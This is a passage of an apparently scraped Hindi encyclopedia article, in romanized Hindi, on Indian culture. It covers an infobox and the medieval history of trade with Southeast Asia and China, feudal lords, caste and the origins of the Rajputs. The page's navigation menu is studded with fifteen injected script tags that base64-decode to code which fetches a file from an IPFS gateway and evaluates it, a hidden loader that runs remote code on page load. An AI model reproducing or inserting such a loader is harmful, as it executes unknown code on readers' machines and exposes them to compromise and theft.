भारतीय संस्कृति

bharat vishay soochi

parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanvidhan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharm  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vany jivan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khanapan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajy   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alekh

bharatiy sanskriti
bharatiy sanskriti ke vibhinn roop|200px|center
vivaran	bharatiy sanskriti bharat ke vistrit itihas, sahity, vilakshan bhoogol, vibhinn dharmoan tatha unaki paramparaoan ka sammishran hai. bharatiy sanskriti ko 'dev sanskriti' kahakar bhi sammanit kiya gaya hai.
mukhy bhashaean	asamiya, baangla, gujarati, hindi, kann d, kashmiri, marathi, malayalam, u diya, panjabi, sanskrit, tamil, telugu, urdoo, siandhi, koankani, manipuri, bodo, dogari, maithili, santhali adi
sahity-darshan	ved, upanishad, puran, gita, jain sahity, bauddh sahity, vaisheshik darshan, saankhy darshan, darshan shastr, jain darshan, bauddh darshan adi
dharm	hindoo, islam, jain, bauddh, parasi, sikkh dharm, eesaee
kala	sthapaty kala, moortikala, chitrakala, nrityakala, bharatiy sangit (gayan, vadan)
pratik	Om, tulasi, gay, svastik, pipal, soory, dipak, tilak, shivaliang, kamal, shankh adi
mukhy tyohar	dipavali, rakshabandhan, holi, eed-ul-fitar, loh di, poangal, vaishakhi, vishu, bihoo
utsav aur mele	kumbh mela, yam dvitiya, guru poornima, jagannath rathayatra, khajuraho nrity mahotsav, ambuvasi mela, pushkar mela adi
khan-pan	bharatiy bhojan (niramish evan samish)
mukhy khel	kabaddi, shataranj, h aauki, kriket, kho-kho, gulli danda, nishanebazi, kushti, mukkebazi adi

bharat ke bahu-saansh‍kritik bhanh‍dar aur vishh‍vavikhh‍yat virasat ke satat anush‍marak ke roop mean bharatiy itihas ke tin hazar se adhik varsh ki janakari aur anek sabhh‍yataoan ke vishay mean bataya gaya hai. bharat ke nivasi aur unaki jivan shailiyaan, unake nrith‍y aur sangit shailiyaan, kala aur hash‍takala jaise anh‍y anek vidhaean bharatiy sansh‍kriti aur virasat ke vibhinh‍n varnoan ko prastut karati haian, jo desh ki rashtriyata ka sachh‍cha chitr prash‍tut karate haian. is khanh‍d mean un sabhi tath‍voan ko shamil kiya gaya hai jo bharat ki sansh‍kriti aur virasat ke pratik haian. bharat ki sanskriti kee chizoan ko mila-julakar banati hai jisamean bharat ka lamba itihas, vilakshan bhoogol aur sindhu ghati ki sabhyata ke dauran bani aur age chalakar vaidik yug mean vikasit huee, bauddh dharm evan svarn yug ki shuruat aur usake astagaman ke sath phali-phooli apani khud ki prachin virasat shamil haian. isake sath hi p dosi deshoan ke rivaz, paramparaoan aur vicharoan ka bhi isamean samavesh hai. bharatiy sanskriti vishv ki pradhan sanskriti hai, yah koee garvokti nahian, balki vastavikata hai. hazaroan varshoan se bharat ki saanskritik prathaoan, bhashaoan, riti-rivazoan adi mean vividhata bani rahi hai jo ki aj bhi vidyaman hai aur yahi anekata mean ekata bharatiy sanskriti ki mahanh visheshata hai. [[chitr:Indus-Valley-Civilization-Pottery.jpg|thumb|left|siandhu ghati sabhyata kalin bartan ]] 800 ee. se 1200 ee. ka kal arthik aur samajik jivan tatha dharm ke lie upayukt hai. arthik vyavastha, samaj, dharmik vishvas tatha manav vichar rajaniti se kahian kam parivartanashil hai. isilie aisi kee visheshataean jo nauvian shatabdi ke poorv payi jati thian, abhi bhi zari thian. par sath hi kuchh aisi bhi batean thian, jisase is kal ko pahale ke yug se bhinn mana jata hai. samanyatah is aitihasik kal mean ne tatvoan ke sath purane tattv bhi vidyaman rahate haian, par parivartan ki dishaean bhinn rahati haian.

vanijy aur vyapar

uttar kal mean yah kal samanyatah j data tatha hras ka kal mana jata hai. isaka mukhy karan yah tha ki satavian shatabdi aur dasavian shatabdi ke bich vanijy aur vyapar mean gatirodh a gaya tha. isake parinamasvaroop is kshetr mean nagaroan tatha nagarik jivan ka hras hua. vanijy aur vyapar mean gatirodh ka mukhy karan pashchim mean roman samrajy ka patan tha. jisake sath bharat ka b de paimane par tatha munafe ka vyapar hota tha. bharat mean kabhi bhi b di matra mean sone aur chaandi ke khanan ka kam nahian hua. sona aur chaandi jisake lie bharat vikhyat tha, vah bharat ke labhakari vyapar ke karan tha kyoanki munafe ke roop mean yahaan sona aur chaandi ate the. islam ke uday se bhi, jisase sasanid (eerani) jaise prachin samrajyoan ka patan ho gaya, bharat ke vyapar aur vishesh kar zamin ke raste hone vale vyapar par bahut asar p da. parinamasvaroop uttari bharat mean athavian aur dasavian shatabdi ke bich nee svarn mudraoan ki bahut kami ho gee. pashchim eshiya tatha uttari aphrika mean vistrit aur shaktishali arab samrajy mean aise kee kshetr shamil the jinamean b di matra mean khanoan se svarn nikala jata tha. arab svayan bhi samudr premi vyakti the. bharatiy kap doan, masaloan tatha loban ke lie amir arab shasakoan ki maang ke karan bharat aur dakshin-poorv eshiya ke dvipoan ko masaloan ke dvip ke nam se jana jata tha. nauvian aur dasavian shatabdi ke bich kee arab yatri pashchimi tat ke nagaroan mean ae aur unhoanne desh ki tatkalin sthiti ka vivaran kiya hai. dasavian shatabdi ke bad uttar bharat mean videsh vyapar aur vanijy mean dhire-dhire phir vriddhi huee. vyapar ke is punarutthan se sabase adhik labh malava aur gujarat ko pahuancha. gujarat mean chanpaner aur aankileshvar jaise kee nagaroan ki nianv isi kal mean p di. un dinoan bharat ki janasankhya das karo d se bhi kam thi, arthath aj ki tulana mean, chhate hisse se bhi kam thi. desh ka ek b da bhag jangaloan se dhaka tha jinamean jangali pashuoan ke alava aise qabile the jo rahagiroan ko loot lete the. nadiyoan par pul nahian the aur barasat ke mausam mean s dakean bahut kharab ho jati thian. in karano se un dinoan yatra, chahe vyapar ho ya phir shauq ke lie, kabhi bhi khatare se khali nahian thi. suraksha ke dhyan se vyapari tatha any log karavoan mean chalate the jisaki suraksha unake apane sainik karate the. isake bavajood kabhi-kabhi sahasi lutere unhean loot lete the. [[chitr:Woman-Mon-Nagaland.jpg|thumb|left|300px|bachche ke sath mahila, mon, nagalaiand]]

upajatiyoan ka roop

us samay ki kahaniyoan ki kitaboan mean yatra ke khataroan ka b da rochak varnan milata hai. gaanvoan mean jivan aur sampatti ki asuraksha se yatra aur bhi kathin thi aur is karan bhi vanijy aur vyapar ka hras hua. isase ek naye samaj ka uday hua jisamean gramin kshetr arthik drishti se adhik atm-nirbhar hote ge. kuchh log samaj ke is vikas ko samantavad ke vikas ke sath jo date haian. aantarik vyapar ke hras se uttar bharat mean vyapar sangh, jinhean shreni aur sangh kaha jata tha, bhi kamazor p de. in vyapar sanghoan mean adhikatar vibhinn jati ke log the par shreniyoan ke acharan ke apane niyam the jo isake sabhi sadasyoan ko manane p date the. ve paisoan ke len-den tatha dan prapt karane ka bhi adhikar rakhate the. vanijy aur vyapar ke hras ke sath-sath in sanghoan ka mahattv bhi kam ho gaya. is kal mean in sanghoan dvara dan prapt karane ki bahut kam charcha upalabdh hai. kalantar mean kuchh purani shreniyoan ne upajatiyoan ka roop dharan kar liya, udaharanarth - das, vaishyoan ki ek upajati ban gaya. vyapari varg adhikatar jain dharm ke samarthak the, isalie unake sath jain dharm bhi kamazor p d gaya.

vanijy aur vyapar ke hras ki jhalak is kal ki vicharadhara mean bhi milati hai. is kal mean rachit kuchh dharmashastroan ne videsh yatra ko nishiddh mana hai. unake anusar us jagah nahian jana chahie jahaan muanj ghas nahian ugati ho aur jahaan kale hiran vicharan nahian karate hoan. kahane ka tatpary yah hai ki bharat ke bahar ki yatra nahian karani chahie. inake anusar namakin samudr ki yatra karane se adami dooshit ho jata hai. yah avashy tha ki in pratibandhoan ko sabhi poori tarah nahian manate the. bharatiy vyapariyoan, darshanikoan, chikitsashastriyoan tatha hastakala visheshajnoan ke vrittant milate haian jinhoanne pashchim eshiya mean bagadad tatha any shaharoan ki yatra kian. dharmashastroan ka pratibandh shayad brahmanoan ke lie hi tha ya phir ve is bhay se lagae ge the ki kahian bharatiy b di sankhya mean videsh jakar aise virodhi dharmik vichar ya samajik samanata ke vichar bharat mean n le aean jo brahmanoan aur shasak varg ko amany hoan.

dharmashastroan dvara samudr yatra par pratibandh

[[chitr:Angkor-Wat.jpg|thumb|300px|aankoravat, kanbodiya]] samudr yatra par dharmashastroan dvara lagae ge pratibandhoan ka dakshin-poorv eshiya tatha chin ke sath hone vale vyapar par koee asar nahian p da. bharat aur dakshin-poorv eshiya ke deshoan ke bich chhathi shatabdi se hi b de paimane par vyapar arambh ho gaya tha. us kshetr ke deshoan ka vistrit bhaugolik jnan us samay ke sahity mean parilakshit hai. 'harisen' ki 'vrihatakatha kosh' jaisi us kal ki kitaboan mean is kshetr ke pahanave aur bhashaoan adi ke bare mean vistrit charcha ki hai. is kshetr mean chamatkari samudroan mean bharatiy vyapariyoan ki kee romaanchakari kahaniyaan haian jo bad mean vikhyat 'siandabad ki kahaniyoan' ka adhar bani. anek bharatiy vyapari in deshoan mean bas tak ge aur kuchh logoan ne sthaniy logoan se shadi-vivah bhi kar liya. vyapariyoan ke pichhe-pichhe dharm pracharak bhi ae aur is prakar is kshetr mean bauddh tatha hindoo dharmoan ka pradurbhav hua. java mean borobodur ke bauddh tatha aankoravat ke hindoo mandiroan se hamean is kshetr mean in dharmoan ke prachar ke bare mean pata chalata hai. is kshetr ke kuchh shasak hindoo dharm se bahut prabhavit hue aur unhoanne bharat ke sath vyaparik tatha saanskritik sambandhoan ka svagat kiya. is prakar bharatiy aur sthaniy sanskritiyoan ke sammishran se nayi saanskritik aur sahityik dharaoan ka janm hua.

java aur sumatra adi ki yatra ke lie mukhy bharatiy bandaragah bangal ka tamralipti tha. is kal ki kee kahaniyoan mean hamean bharatiy vyapariyoan ki tamralipti se suvarnadvip (adhunik iandoneshiya) aur kataha (malaya mean kedah) ki yatra ke lie ravana hone ki charcha milati hai. java ke chaudahavian shatabdi ke ek lekhak ke anusar vahaan b di sankhya mean jamboodvip (bharat), karnatak (dakshin bharat) tatha gau d (bangal) ke log b de-b de jahajoan mean ate the. is vyapar mean gujarat ke vyapari bhi bhag lete the.

bharat aur chin ka vyapar

bharat ka dakshin poorv eshiya ke sath vyapar svayan mean mahattvapoorn to tha hi isake sath-sath vah bharat aur chin ke vyapar ke lie kendr ka kary bhi karata tha. amataur par chini jahaz molaska dvipoan ke age nahian ate the. udhar bharat aur chin ke bich ka s dak marg us kal mean turk, arab tatha chiniyoan ke bich sangharsh ke karan surakshit nahian rah gaya tha. isake sthan par bharat aur chin ke bich ka samudri marg adhik mahattv ka hota ja raha tha. chin ke videsh vyapar ke lie vahaan ka pramukh bandaragah kaitan, ya jaisa ki arab yatri pukarate the, qaphu tha. bharat se bauddh vidvanh bhi samudr marg se chin jate the. chini itihasakaroan ne likha hai ki dasavian shatabdi ke aant tatha gyarahavian shatabdi ke arambh mean chini rajadarabar mean jitane bharatiy bhikshu the, utane chin ke itihas mean pahale kabhi nahian rahe. kuchh aur pahale ke kal ke chini vrittant ke anusar kaitan nadi bharat, faras aur arab se ane vale jahajoan se bhari rahati thi. isake alava kaitan mean tin hindoo mandir the jinamean bharatiy brahman rahate the. chini samudr mean bharatiyoan ki upasthiti ke bare mean hamean japani sootroan se bhi pata chalata hai. inake anusar japan mean kapas ke parichay ka shrey do bharatiyoan ko hai. jo apani samudri yatra ke dauran laharoan ke zor se galati se japan pahuanch ge the. bharatiy shasakoan, visheshakar bangal ke pal, sen tatha dakshin ke pallav aur chol vansh ke shasakoan ne chini samratoan ke darabaroan mean apane rajadoot bhej kar is vyapar ko aur utsahit karane ki cheshta ki. chin ke sath bharat ke vyapar mean badha dalane vale malaya tatha any p dosi deshoan ke viruddh chol shasak rajendr pratham ne apani nausena bheji. chin ke sath vyapar karane vale deshoan ko itana labh hota tha ki terahavian shatabdi mean chini sarakar ne vahaan se sone aur chaandi ke niryat par pratibandh lagane ki cheshta ki. dhire-dhire bharat ka vyapar araboan aur chiniyoan ke muqabale kam hota gaya kyoanki in vyapariyoan ke jahaz bharatiy jahajoan se b de aur adhik tez the. kaha jata hai ki chini jahaz kee manzil hote the aur unamean char sau sainikoan ke alava chhah sau yatri chal sakate thean chini jahajoan ke vikas mean kutubanuma ki b di mahattvapoorn bhoomika rahi. yah avishkar chin se dasavian shatabdi mean pashchim pahuancha. ab tak bharatiy vijnan tatha takanik pichhe p date ja rahe the.

pashchim ke sath bharat ka vyapar dasavian shatabdi ke bad hi tez ho saka, par dakshin-poorv eshiya tatha chin ke sath usaka vyapar barahavian shatabdi tak dhire-dhire badhata hi gaya. is vyapar mean bharat tatha bangal ki mukhy bhoomika thi. in kshetroan ki sampatti aur samriddhi ka bhi yahi pramukh karan tha.

samaj

thumb|400px|left|bharatiy sanskriti ke vibhinn drishy is kal mean bharatiy samaj mean kee mahattvapoorn parivartan hue. inamean se ek yah tha ki vishisht varg ke logoan ki shakti bahut badhi jinhean samant, ranak athava rautt (rajapoot) adi pukara jata tha. in vargoan ki utpatti vibhinn tarikoan se huee thi. inamean se kuchh aise sarakari adhikari the jinako vetan mudra ki jagah gramoan mean diya jata tha, jisase ye kar prapt karate the. kuchh aur aise parajit raja the jinake samarthak simit kshetroan ke kar ke abhi bhi adhikari bane baithe the. kuchh aur vanshagat sthaniy saradar ya bahadur sainik the, jinhoanne apane kuchh hathiyaraband samarthakoan ki sahayata se adhikar kshetr sthapit kar liya tha. in logoan ki haisiyat bhi alag-alag thi. inamean se kuchh keval gramoan ke pramukh the aur kuchh ka adhikar kuchh gramoan par tha aur kuchh aise bhi the jo ek sare kshetr par apana prabhutv sthapit karane mean saphal ho sake the. is prakar in saradaroan ki nishchit shreniyaan thi. ye apane adhikar kshetr ko badhane ke lie apas mean lagatar sangharsh kiya karate the. aise 'lagan' vale kshetr jo raja apane adhikariyoan ya samarthakoan ko deta tha, ve asthayi the aur jinhean raja apani marji se jab chahe, vapas le sakata tha. lekin b de vidroh athava vishvasaghat ke mamaloan mean chho dakar raja dvara zamin shayad hi vapas li jati thi. samasamayik vicharadhara ke anusar parajit naresh ki bhoomi ko bhi lena pap mana jata tha.

samantavadi vyavastha

parinamasvaroop is kal ke rajyoan mean kee aise kshetr shamil the jin par parajit athava adhin rajaoan ka prabhutv tha aur ve apani svadhinata ki ghoshana karane ki tak mean lage rahate the. isake alava rajyoan ke kee kshetroan mean aise adhikari the, jo adhin bhoomi ko pushtaini jayadad manate the. kalantar mean in adhikariyoan ka pad bhi vanshagat ho gaya. bangal ke ek parivar se char pushtoan ke sadasy mahamantri the. isi prakar sarakar ke kee pad kuchh hi adhikariyoan ke lie surakshit ho ge. in vanshagat adhikariyoan ne dhire-dhire prashasane ke kee kary apane hathoan mean le lie. yah n keval lagan nirdharit tatha vasool karane ka kary karate the, balki inhoanne adhik se adhik prashasanik adhikariyoan ko bhi apane hathoan mean liya aur ye nyayadhish bhi ban baithe aur apane hi bal par aise mamaloan mean zurmana tak karane lage, jo pahale raja ki or se visheshadhikar ke roop mean die ge the. ye apane kshetr mean pae ge khazanoan par bhi apane adhikar ka dava karate the, jabaki qayade se in par raja ka adhikar hona chahie tha. inhoanne apani bhoomi ko raja ki anumati ke bina apane samarthakoan ke bich baant dene ke adhikar ko bhi svayan hi grahan kar liya. is prakar aise logoan ki sankhya badhati gee jo zamin par bina kam kie hi isase kamate the. aisi samaj vyavastha ko 'samantavadi vyavastha' kaha ja sakata hai. samantavadi samaj ki pramukh visheshata yah hai ki isamean aise log adhik shaktishali hote haian jo zamin par bina kam kie us par adhikar rakhate haian.

samanti saradaroan dvara suraksha

bharat mean samantavadi samaj ke vikas se b de dooragami prabhav p de. isase raja ki shakti kam ho gee aur vah aise samanti saradaroan par adhik nirbhar rahane laga, jinake pas apani svayan ki senaean thi, jinase ve apane rajaoan ka virodh kar sakate the. bharatiy rajyoan ki antarik kamazori aur matabhed, bad mean turkoan se unake sangharsh mean ghatak siddh hue. ye chhote rajy vyapar ko nirutsahit karate the tatha gramoan mean aisi arthavyavastha ko protsahit karate the jisase ve adhik se adhik atmanirbhar ban sakean. in samanti saradaroan ke prabhav se gram ka svashasan bhi kamazor ho gaya. isake bavajood samantavadi vyavastha ke kuchh labh bhi the. hiansa tatha ashanti ke yug mean adhik shaktishali samanti saradaroan ne kisanoan tatha any logoan ke jivan tatha unaki sampatti ko suraksha pradan ki. jisake bina rozamarra ki jivan bahut kathin ho jata. kuchh samantoan ne krishi ke vistar aur vikas mean bhi ruchi dikhaee.

jivan star

thumb|450px|bharatiy janajivan is kal mean bhi bharatiy dastakari tatha khanan kary uchch star ka bana raha tatha krishi bhi unnatishil rahi. bharat ane vale kee arab yatriyoan ne yahaan ki zamin ki urvarata aur bharatiy kisanoan ki kushalata ki charcha ki hai. is kal ki sabhi sahityik kritiyoan mean mantriyoan, adhikariyoan tatha samantoan ki shan-shauqat tatha dikhave ka varnan milata hai. unhoanne raja ke rahane ke rang-dhang ki naqal ki aur rahane ke lie tin se paanch manzili imaratean banavaee. ye chini resham tatha ayatit oon se bane videshi kap de pahanate the tatha bahoomooly javaharatoan aur sone-chaandi ke abhooshan dharan karate the. inake gharoan mean b di sankhya mean striyaan hoti thian aur unaki dekh-rekh ke lie utani hi sankhya mean ghareloo naukar hote the. ye jab bhi bahar jate the to inake sath poora qafila chalata tha. ye 'mahasamantaradhipati' jaisi b di-b di padaviyaan svayan grahan kar lete the aur vyaktigat pratik ke roop mean jhande, naqqashi ki huee chhatariyaan tatha chanvar rakhate the. us samay ki ek kriti mean ek rajakiy adhikari ke yuva-putr ka varnan hai, jo rajakiy adhikariyoan tatha chhote samantoan ke varg ka pratik mana ja sakata hai. is kriti mean usaka varnan karate hue kaha gaya hai ki vah vishesh prakar ki aangoothiyaan tatha kuandal dharan karata hai aur gale mean sone ki janjir pahanata hai. vah apane sharir par kastoori laga kar rakhata hai. jisase usamean pilapan a jata hai. usake joote bhi nakqashidar haian tatha usake vastr kastoori rang se range hue haian jinamean sone ka b aaurdar hai. jab bhi vah am janata ke bich ata hai, usake sath kee sevak chalate haian jinamean se paanch chhah hathiyaraband hote haian tatha ek sevak ke hath mean panadan rahata hai.

rahan-sahan

raja ke rahan-sahan ke dhang ki naqal b de vyapariyoan ne bhi ki. chaluky samrat ke ek kotishvar vyapari ke bare mean kaha gaya hai ki usake bhavan ke oopar b de-b de jhande phaharate the jinamean ghantiyaan lagi rahati thi tatha usake pas b di sankhya mean hathi aur gho de the. usake mukhy bhavan mean jane ke lie sphatik ki sidhiyaan thian. usake mandir mean bhi sphatik ka farsh aur sphatik ki divarean thian, jin par kee dharmik chitr bane hue the. mandir mean pratishthapit pratima bhi sphatik ki thi. gujarat ke vastupal tatha tejapal namak mantriyoan ke bare mean kaha jata hai ki ve apane samay ke sabase dhani vyapari the. aisa nahian tha ki charoan taraph samriddhi aur khushahali chhaee thi. anaj sasta avashy tha lekin isake bavajood shaharoan mean aise garib log the jinako bharapet khana bhi nahian mil pata tha. rajatarangini ke lekhak ke man mean inhian logoan ki bat hai, jab vah hamean batata hai ki ek or darabari log bhuna gosht khate the aur thandi aur sugandhit sharab pite the to doosari or am adami ko chaval tatha utpalasek se santosh kar lena p data tha.

samantoan dvara lagan vasooli

is samay ke nirdhan logoan ke vishay mean kee kahaniyaan milati haian. kee log garibi se tang akar dakoo tatha lutere ban jate the. jahaan tak gramoan ka saval hai, jinamean adhikatar abadi basati thi, hamean kisanoan ke jivan ke bare mean sahityik kritiyoan tatha bhoomi anudan se sambandhit abhilekhoan se pata chalata hai. dharmashastroan ke vyakhyakaroan ke anusar, pahale ki tarah lagan ki dar abhi bhi kul utpadan ka chhatha hissa thi. lekin kud anudanoan se hamean pata chalata hai ki isake alava bhi kee prakar ke kar the. jaise talab-kar aur charagah-kar. kisanoan ko nirdharit lagan ke alava ye kar bhi dene p date the. kuchh anudanoan se zamin ke malik ko yah adhikar mil jata tha ki vah us zamin par uchit athava anuchit arthath apani ichchha se kar laga sakata tha jo garib kisanoan ko lagan ke alava chukana hi p data tha. kisanoan ko begar bhi karani p dati thi. madhy bharat tatha u disa ke kuchh mamaloan mean to ham pate haian ki madhyayugin yoorop ke krishi dasoan ki bhaanti yahaan bhi gaanvoan ke sath-sath vahaan base hue kisan, charavahe tatha dastakar bhi dan mean de diye jate the. sahityik kritiyoan mean hamean aise samantoan ke bare mean padhane ko milata hai jo paisa vasoolane ka koee bhi mauqa chookate nahian the. bataya jata hai ki rajapoot saradar to bateroan, mrit pakshiyoan, sooar ki lid tatha mrit vyaktiyoan ke qafan se bhi paisa banaya karate the. ek any samant ki charcha hai ki jisake atyacharoan se trast hokar gaanv ki sari ki sari abadi ne gaanv ko hi chho d diya tha. thumb|250px|left|bharat ke saanskritik paridhan saradaroan ke ye atyachar to the hi phir isake oopar yuddh aur badh ka prakop bhi tha. yuddh mean naharoan aur talaboan ko to d dena, gaanv ke gaanv hi jala dena, zabardasti sare anaj aur sare pashuoan ko qabze mean kar lena am bat thi. yahaan tak ki samantavadi vyavastha ke lekhakoan ne is prakar ke karyoan ko uchit mana hai.

varn vyavastha

pahale se chali a rahi varn vyavastha is yug mean bhi qayam rahi. smritiyoan ke lekhakoan ne brahmanoan ke visheshadhikaroan ke bare mean badha-chadha kar to kaha hi, shoodroan ki samajik aur dharmik ayogyata ko uchit thaharane mean to ve pichhale lekhakoan se kahian age nikal ge. ek lekhak, parashar ke anusar shoodr ke sath bhojan, usake sath milana-julana, shoodr ke sath ek hi asan par baithana tatha shoodr se shiksha grahan karana aise kary haian jo uchchatam vyakti ka nich bana dete haian. yahaan tak ki shoodroan ki chhaya tak dooshit thi. yah kahana kathin hai ki smritiyoan ke rachanakaroan ke vicharoan ka vyavaharik jivan mean kitana palan kiya jata tha, par isamean koee sandeh nahian ki nichi samajhi jane vali jatiyoan ki is kal mean sthiti aur bhi kharab ho gayi. aantarjatiy vivah ko bhi nichi drishti se dekha jata tha. yadi koee uchch jati purush nimn jati ki stri se vivah karata tha to usake bachchoan ki jati maan ki jati ke anusar tay ki jati thi. isake viparit yadi uchch kul ki stri nich kul ke purush se vivah karati thi to bachche ki jati bap ki jati se tay ki jati thi. samasamayik lekhakoan ne us samay ki kee jatiyoan ki charcha ki hai. jinamean kumhar, bunakar, sunar, sangitajn, naee, chamar, byadh tatha machhere shamil the. inamean se kuchh ne to apane rojagar ke hisab se sangh bana lie the, par unaki ginati bhi ek jati ke roop mean hi hoti thi. mahattvapoorn bat yah hai ki smriti lekhakoan ne dastakari ko nich jati ko pesha mana hai. is prakar adhikatar mazadoor aur bholoan jaise adivasi, achhootoan ki shreni mean gine jane lage the.

rajapootoan ka uday

is yug mean hamean ek nayi jati, rajapootoan ki charcha bhi milati hai. rajapootoan ki utpatti ko lekar vidvanoan mean b da matabhed hai. kee rajapoot apane ko mahabharat ke soory vansh aur chandr vansh ke kshatriyoan ka vanshaj manate the. kuchh aur apani utpatti ka srot us yajn ko batate the jo rrishi vasishth ne aboo paha d par kiya tha. kintu aboo yajn ka ullekh hamean pahali bar solahavian shatabdi mean milata hai. in kathaoan se ham keval itana nishkarsh nikal sakate haian ki vibhinn rajapoot vanshoan ki utpatti vibhinn prakar se huee thi. kuchh vidvan, jinamean videshi bhi shamil haian, yah manate haian ki kuchh rajapoot vanshoan ki utpatti un hoon aur sithiyaee logoan se huee hogi jo harsh ke kal ke bad bharat mean bas ge. kuchh any vanshoan ki utpatti bharatiy qabiloan se hi huee. vibhinn kaloan mean kshatriyoan ke alava brahman tatha vaishy vanshoan ne bhi shasan kiya. aisa pratit hota hai ki kalantar mean shasan karane vale sabhi vanshoan ko ek jati ka mana jane laga aur ye 'rajapootr' athava 'rajapoot' kahe jane lage aur kshatriy vansh mean shamil ho ge. [[chitr:Woman-Cooking-Food-Gujarat.jpg|left|thumb|300px|khana banati gramin mahila, gujarat]] yah spasht hai ki jatiyoan ka vargikaran itana pakka nahian tha, jaisa ki am taur par mana jata hai. vibhinn dal athava vyakti uchch varg ki sadasyata hasil kar sakate the, ve nichi jati mean gir bhi sakate the. isaka ek udaharan hamean kayasth jati mean milata hai. jisaka varnan sabase pahale isi kal mean milata hai. arambh mean vibhinn jatiyoan, jinamean brahman aur shoodr bhi shamil the, ke aise log jo rajagharanoan mean kam karate the, unhean 'kayasth' kaha jata tha. kalantar mean inhian ki ek vishisht jati ban gee. is kal mean hindoo dharm ka prasar bahut tezi se hua. kee bauddh aur jainiyoan ke alava kee videshi tatha bharatiy qabile hindoo dharm mean ekatm ho ge. samay ke sath naye vargoan ne, vibhinn jatiyoan aur upajatiyoan ka roop dharan kar liya. par unhoanne vivah, apane vishisht devi-davataoan ki pooja tatha any tyoharoan ko manana jari 